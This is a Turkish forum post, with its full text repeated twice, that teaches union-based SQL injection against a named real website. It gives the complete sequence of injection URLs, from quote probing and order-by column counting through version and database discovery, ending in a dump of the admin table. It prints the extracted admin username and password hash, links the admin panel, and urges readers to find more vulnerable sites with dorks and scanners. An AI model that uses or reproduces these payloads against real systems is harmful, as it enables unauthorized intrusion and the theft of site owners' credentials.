BeyazKaplan
Yeni Üye
- Katılım
- 4 Nis 2018
- Mesajlar
- 7
- Tepkime puanı
- 0
- Puanları
- 0
Herkese Merhabalar;
Bugün sql injectionu anlatacağım. Verdiğim site örnektir siz kendiniz bulunuz . İyi okumalar
Sql İnjection Açığı:
Sayfada Sql komutlarını çalıştırarak veri çekmeyi hedefleyen sunucuya yönelik bir güvenlik açığıdır. Birden fazla çeşidi bulunan geniş bir açıktır.
__________________________________________________ _____________________________________
Öncelikle burada "Sql" dediğimiz şeyin ne olduğunu anlayalım. "Sql" bir database (veritabanı) programlama dilidir. Sql Açığı, Sql ile ilgili yapılan kodlama hatalarıyla ortaya çıkan bir açık türüdür. Buna göre, Sql Açığı olan bir sitede bazı Sql komutları kullanarak site yöneticisinin kullanıcı adı ve parola bilgilerine ulaşılabilir. Günümüzde on milyonlarca sitede Sql açığı bulunduğu gibi, devlet sitesi gibi önemli sitelerde de bu açık türüne rastlanır.
Bir sitede Sql açığı olduğunu nasıl anlarsınız? Bunun el ile ve program kullanarak otomatik bir şekilde tarama yapma şeklinde iki seçeneği var. El ile taramanın nasıl yapıldığını konuya geçince hemen anlayacaksınız zaten ama bunu hiç tavsiye etmem. Çünkü çok zamanınızı alabileceğinden program ile otomatik tarama yapmak daha uygundur.
İlk önce "Safe3" veya "Acunetix" gibi bir program aracılığı ile (Bu programların adını birçok yerde duymuşsunuzdur. İnternette paylaşılıyor.) hedef sitemizde Sql açığı olup olmadığını taratıyoruz. Ben size örnek bir site vereceğim. Bütün işlemlerimizi bu site üzerinden uygulamalı olarak yapacasınız.
Site: :: MUSCULOSKELETAL SOCIETY ::
Sql Açığı Bulunan Sayfa: :: MUSCULOSKELETAL SOCIETY ::
Burada hemen bir şeyi kafanıza yazın. Sql Açığı bulunan sayfa "kelime.php?id=sayı" denen bir değer içeriyor. (Kelime adı ve sayı değeri duruma göre değişebilir.) Demek ki biz ileride Sql açıklı site taraması yaparken dorklarımızı buna göre yazacağız.
Şimdi ilk önce sitemizde Sql Açığı olup olmadığından emin olmak için sayfamızın sonuna tırnak işareti ( ' ) ekleyelim.
Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=5'
Eğer karşımıza;
"You Have An Error İn Your SQL Syntax, Check The Manuel That Corresponds To Your MYSQL Server Version For The Right Syntax To Use Near "'3728"' At Line 1"
Gibi bir hata gelirse sitemizde Sql Açığı vardır. Tabii benzer bir hata da meydana gelebilir. Bizim sitemizde alt tarafta bir hata meydana geldi. Sql açığı olduğunu görüyoruz.
Önce sitemizin kolon sayısını öğrenmemiz gerekiyor. Bunun için "+order+by+sayı" kodunu kullanmamız gerekiyor. Bir deneme yapalım:
Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=5+order+by+20
Karşımıza şu ve benzeri bir hata geliyor:
"Unknown column ’20’ in ’order clause"
Demek ki kolon sayımız 20'den daha az. Sayıyı yavaş yavaş düşürerek tekrar deniyoruz. Amacımız sitede herhangi bir hatayla karşılaşmamak.
Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=5+order+by+15
http://musculoskeletalsociety.in/page.php?id=5+order+by+10
http://musculoskeletalsociety.in/page.php?id=5+order+by+7
http://musculoskeletalsociety.in/page.php?id=5+order+by+6
http://musculoskeletalsociety.in/page.php?id=5+order+by+5
Evet, "5" değerinde bir hata almadık. Kolon sayımızın 5 olduğunu öğrendik. Şimdi sıra kolonları yansıtma işleminde. Bu işlemi "+union+select+sayı,sayı,sayı..." şeklinde 2 türlü yapabiliriz.
Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=5+union+select+1,2,3,4,5
Veya
Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=5+union+select+0,1,2,3,4
İki seçenekte de ortak olan özellik toplam 5 tane sayı girmemiz. Bazen seçeneklerden birisi sonuç vermezse diğerini denersiniz. Fakat bu işlemi yaptığımızda ekrana hiç bir şey yansımadı. İşlemimizin başarılı olması için "id" değerini sitede bulunmayan bir değer almak gereklidir. Bunun için en mantıklı şey sayının başına " - " işaretini bırakmak olacaktır. Yani şu şekilde:
Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,2,3,4,5
Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,version(),3,4,5
Dikkatinizi çeken şey "version()" kodunu "2" yerine kullanmamız oldu. İsteseydik "3" yerine de kullanabilirdik. Karşımıza çıkan değer "5.6.35" şeklinde. Kısaca "5" diyelim, gerisi önemli değil. Eğer ileride denediğiniz farklı sitelerde sizde versiyon olarak 5 dışında bir şey çıkarsa (4 gibi) o siteyle şimdilik uğraşmayın. Kafanız karışacak. Zaten çoğu site versiyon 5 almakta.
Daha sonra veritabanı ismini öğrenmeliyiz.
Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,database(),3,4,5
Veritabanı ismi: "culosmus_muscul" Bunu hemen hex koduna çevirmeliyiz. Hex Kodu bir nevi şifreleme türüdür. İnternette "Hex Kod Çevirici" siteler var. Şu site işinizi görecektir:
Kod:
http://www.convertstring.com/tr/EncodeDecode/HexEncode
Siteden veri tabanımızı hex biçiminde çeviriyoruz. Şöyle bir çeviri aldık: "63756C6F736D75735F6D757363756C"
Bu kodun başına "0x" koymayı unutmayın. Yani şöyle: "0x63756C6F736D75735F6D757363756C" Bunu kenara not edin.
Şimdi sıra veri çekme işlemlerine geldi. Ama önce veri çekme esnasında karşılaşacağımız 3 terimi inceleyelim.
Table: "Tablo" manasına gelir. Bir sitede çok sayıda tablo bulunur. Örnek olarak "yönetici" adlı bir tabloda yönetici ile ilgili bilgileri bulabilirsiniz. İlk aşamada bize gerekli olan tabloyu buluruz.
Column: "Kolon" anlamındadır. Her tablonun içinde birkaç tane kolon bulunur. Örnek olarak "yönetici" adlı tablo içinde yöneticiye ait "mail" , "kullanıcı adı" , "parola" bilgileri bulunabilir. İkinci aşamada tablo içindeki kolonlardan bize gerekli olanlarını seçeriz.
Data: Kolonlardan çekilen verilerdir. Üçüncü aşamada seçtiğimiz kolonlardan verileri çekeriz.
Artık verileri çekmeye başlayabiliriz.
Kod:
Kod:
http://musculoskeletalsociety.in/pa...table_schema=0x63756C6F736D75735F6D757363756C
Karışık bir kod kalabalığı oldu, uğraştıkça alışırsınız. Karşımıza birçok tablo adı gelecek. Bunlardan işimize yarayacak olanını seçmeliyiz. En başta "admin" bölümünü görüyoruz. Adı üzerine içinde admin bilgilerinin olduğu gayet belli oluyor. Hemen o tablonun "column" verilerini çekmeliyim.
Önce "admin" hex kodlarını çıkartalım ve başına "0x" ekleyelim: "0x61646D696E"
Şimdi devam edelim:
Kod:
Kod:
http://musculoskeletalsociety.in/pa...5735F6D757363756C+and+table_name=0x61646D696E
Yüzdük yüzdük kuyruğuna geldik artık. Artık karşımıza kullanıcı bilgileri çıkıyor. Bunlarda "user_id" ve "password" seçeneklerini alıp kullanıcı adını ve şifreyi ele geçireceğiz. Şimdi iki değer alacağım için hem "2" hem de "3" değerini kullanmam gerekiyor.
Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,(user_id),(password),4,5+from+admin
Buradan öğrendiklerimize göre;
Kullanıcı Adı: admin
Parola: 25a41cec631264f04815eda23dc6edd9
Bu arada parolamız tam olarak böyle bir şey değil. Kimi web sitelerinde çektiğiniz şifreler normal gözükürken kimi sitelerde de böyle "Md5" , "Sha" gibi yöntemlerle şifrelenmiş olarak gözükür. Bunun için internette şifre çözücüler var. Zaten çoğu sitede parolayı normal olarak alabiliyorsunuz. Ben kimsenin hazıra konup parolayı kullanmaması için bu siteyi özel olarak seçtim.
Artık parola ve kullanıcı adı elimizde. Şimdi tek yapmamız gereken bir admin panel bulucu yardımıyla paneli bulmak. Onu da ben vereyim:
http://musculoskeletalsociety.in/admin/
İyi Günler
Bugün sql injectionu anlatacağım. Verdiğim site örnektir siz kendiniz bulunuz . İyi okumalar
Sql İnjection Açığı:
Sayfada Sql komutlarını çalıştırarak veri çekmeyi hedefleyen sunucuya yönelik bir güvenlik açığıdır. Birden fazla çeşidi bulunan geniş bir açıktır.
__________________________________________________ _____________________________________
Öncelikle burada "Sql" dediğimiz şeyin ne olduğunu anlayalım. "Sql" bir database (veritabanı) programlama dilidir. Sql Açığı, Sql ile ilgili yapılan kodlama hatalarıyla ortaya çıkan bir açık türüdür. Buna göre, Sql Açığı olan bir sitede bazı Sql komutları kullanarak site yöneticisinin kullanıcı adı ve parola bilgilerine ulaşılabilir. Günümüzde on milyonlarca sitede Sql açığı bulunduğu gibi, devlet sitesi gibi önemli sitelerde de bu açık türüne rastlanır.
Bir sitede Sql açığı olduğunu nasıl anlarsınız? Bunun el ile ve program kullanarak otomatik bir şekilde tarama yapma şeklinde iki seçeneği var. El ile taramanın nasıl yapıldığını konuya geçince hemen anlayacaksınız zaten ama bunu hiç tavsiye etmem. Çünkü çok zamanınızı alabileceğinden program ile otomatik tarama yapmak daha uygundur.
İlk önce "Safe3" veya "Acunetix" gibi bir program aracılığı ile (Bu programların adını birçok yerde duymuşsunuzdur. İnternette paylaşılıyor.) hedef sitemizde Sql açığı olup olmadığını taratıyoruz. Ben size örnek bir site vereceğim. Bütün işlemlerimizi bu site üzerinden uygulamalı olarak yapacasınız.
Site: :: MUSCULOSKELETAL SOCIETY ::
Sql Açığı Bulunan Sayfa: :: MUSCULOSKELETAL SOCIETY ::
Burada hemen bir şeyi kafanıza yazın. Sql Açığı bulunan sayfa "kelime.php?id=sayı" denen bir değer içeriyor. (Kelime adı ve sayı değeri duruma göre değişebilir.) Demek ki biz ileride Sql açıklı site taraması yaparken dorklarımızı buna göre yazacağız.
Şimdi ilk önce sitemizde Sql Açığı olup olmadığından emin olmak için sayfamızın sonuna tırnak işareti ( ' ) ekleyelim.
Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=5'
Eğer karşımıza;
"You Have An Error İn Your SQL Syntax, Check The Manuel That Corresponds To Your MYSQL Server Version For The Right Syntax To Use Near "'3728"' At Line 1"
Gibi bir hata gelirse sitemizde Sql Açığı vardır. Tabii benzer bir hata da meydana gelebilir. Bizim sitemizde alt tarafta bir hata meydana geldi. Sql açığı olduğunu görüyoruz.
Önce sitemizin kolon sayısını öğrenmemiz gerekiyor. Bunun için "+order+by+sayı" kodunu kullanmamız gerekiyor. Bir deneme yapalım:
Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=5+order+by+20
Karşımıza şu ve benzeri bir hata geliyor:
"Unknown column ’20’ in ’order clause"
Demek ki kolon sayımız 20'den daha az. Sayıyı yavaş yavaş düşürerek tekrar deniyoruz. Amacımız sitede herhangi bir hatayla karşılaşmamak.
Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=5+order+by+15
http://musculoskeletalsociety.in/page.php?id=5+order+by+10
http://musculoskeletalsociety.in/page.php?id=5+order+by+7
http://musculoskeletalsociety.in/page.php?id=5+order+by+6
http://musculoskeletalsociety.in/page.php?id=5+order+by+5
Evet, "5" değerinde bir hata almadık. Kolon sayımızın 5 olduğunu öğrendik. Şimdi sıra kolonları yansıtma işleminde. Bu işlemi "+union+select+sayı,sayı,sayı..." şeklinde 2 türlü yapabiliriz.
Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=5+union+select+1,2,3,4,5
Veya
Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=5+union+select+0,1,2,3,4
İki seçenekte de ortak olan özellik toplam 5 tane sayı girmemiz. Bazen seçeneklerden birisi sonuç vermezse diğerini denersiniz. Fakat bu işlemi yaptığımızda ekrana hiç bir şey yansımadı. İşlemimizin başarılı olması için "id" değerini sitede bulunmayan bir değer almak gereklidir. Bunun için en mantıklı şey sayının başına " - " işaretini bırakmak olacaktır. Yani şu şekilde:
Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,2,3,4,5
Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,version(),3,4,5
Dikkatinizi çeken şey "version()" kodunu "2" yerine kullanmamız oldu. İsteseydik "3" yerine de kullanabilirdik. Karşımıza çıkan değer "5.6.35" şeklinde. Kısaca "5" diyelim, gerisi önemli değil. Eğer ileride denediğiniz farklı sitelerde sizde versiyon olarak 5 dışında bir şey çıkarsa (4 gibi) o siteyle şimdilik uğraşmayın. Kafanız karışacak. Zaten çoğu site versiyon 5 almakta.
Daha sonra veritabanı ismini öğrenmeliyiz.
Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,database(),3,4,5
Veritabanı ismi: "culosmus_muscul" Bunu hemen hex koduna çevirmeliyiz. Hex Kodu bir nevi şifreleme türüdür. İnternette "Hex Kod Çevirici" siteler var. Şu site işinizi görecektir:
Kod:
http://www.convertstring.com/tr/EncodeDecode/HexEncode
Siteden veri tabanımızı hex biçiminde çeviriyoruz. Şöyle bir çeviri aldık: "63756C6F736D75735F6D757363756C"
Bu kodun başına "0x" koymayı unutmayın. Yani şöyle: "0x63756C6F736D75735F6D757363756C" Bunu kenara not edin.
Şimdi sıra veri çekme işlemlerine geldi. Ama önce veri çekme esnasında karşılaşacağımız 3 terimi inceleyelim.
Table: "Tablo" manasına gelir. Bir sitede çok sayıda tablo bulunur. Örnek olarak "yönetici" adlı bir tabloda yönetici ile ilgili bilgileri bulabilirsiniz. İlk aşamada bize gerekli olan tabloyu buluruz.
Column: "Kolon" anlamındadır. Her tablonun içinde birkaç tane kolon bulunur. Örnek olarak "yönetici" adlı tablo içinde yöneticiye ait "mail" , "kullanıcı adı" , "parola" bilgileri bulunabilir. İkinci aşamada tablo içindeki kolonlardan bize gerekli olanlarını seçeriz.
Data: Kolonlardan çekilen verilerdir. Üçüncü aşamada seçtiğimiz kolonlardan verileri çekeriz.
Artık verileri çekmeye başlayabiliriz.
Kod:
Kod:
http://musculoskeletalsociety.in/pa...table_schema=0x63756C6F736D75735F6D757363756C
Karışık bir kod kalabalığı oldu, uğraştıkça alışırsınız. Karşımıza birçok tablo adı gelecek. Bunlardan işimize yarayacak olanını seçmeliyiz. En başta "admin" bölümünü görüyoruz. Adı üzerine içinde admin bilgilerinin olduğu gayet belli oluyor. Hemen o tablonun "column" verilerini çekmeliyim.
Önce "admin" hex kodlarını çıkartalım ve başına "0x" ekleyelim: "0x61646D696E"
Şimdi devam edelim:
Kod:
Kod:
http://musculoskeletalsociety.in/pa...5735F6D757363756C+and+table_name=0x61646D696E
Yüzdük yüzdük kuyruğuna geldik artık. Artık karşımıza kullanıcı bilgileri çıkıyor. Bunlarda "user_id" ve "password" seçeneklerini alıp kullanıcı adını ve şifreyi ele geçireceğiz. Şimdi iki değer alacağım için hem "2" hem de "3" değerini kullanmam gerekiyor.
Kod:
Kod:
http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,(user_id),(password),4,5+from+admin
Buradan öğrendiklerimize göre;
Kullanıcı Adı: admin
Parola: 25a41cec631264f04815eda23dc6edd9
Bu arada parolamız tam olarak böyle bir şey değil. Kimi web sitelerinde çektiğiniz şifreler normal gözükürken kimi sitelerde de böyle "Md5" , "Sha" gibi yöntemlerle şifrelenmiş olarak gözükür. Bunun için internette şifre çözücüler var. Zaten çoğu sitede parolayı normal olarak alabiliyorsunuz. Ben kimsenin hazıra konup parolayı kullanmaması için bu siteyi özel olarak seçtim.
Artık parola ve kullanıcı adı elimizde. Şimdi tek yapmamız gereken bir admin panel bulucu yardımıyla paneli bulmak. Onu da ben vereyim:
http://musculoskeletalsociety.in/admin/
İyi Günler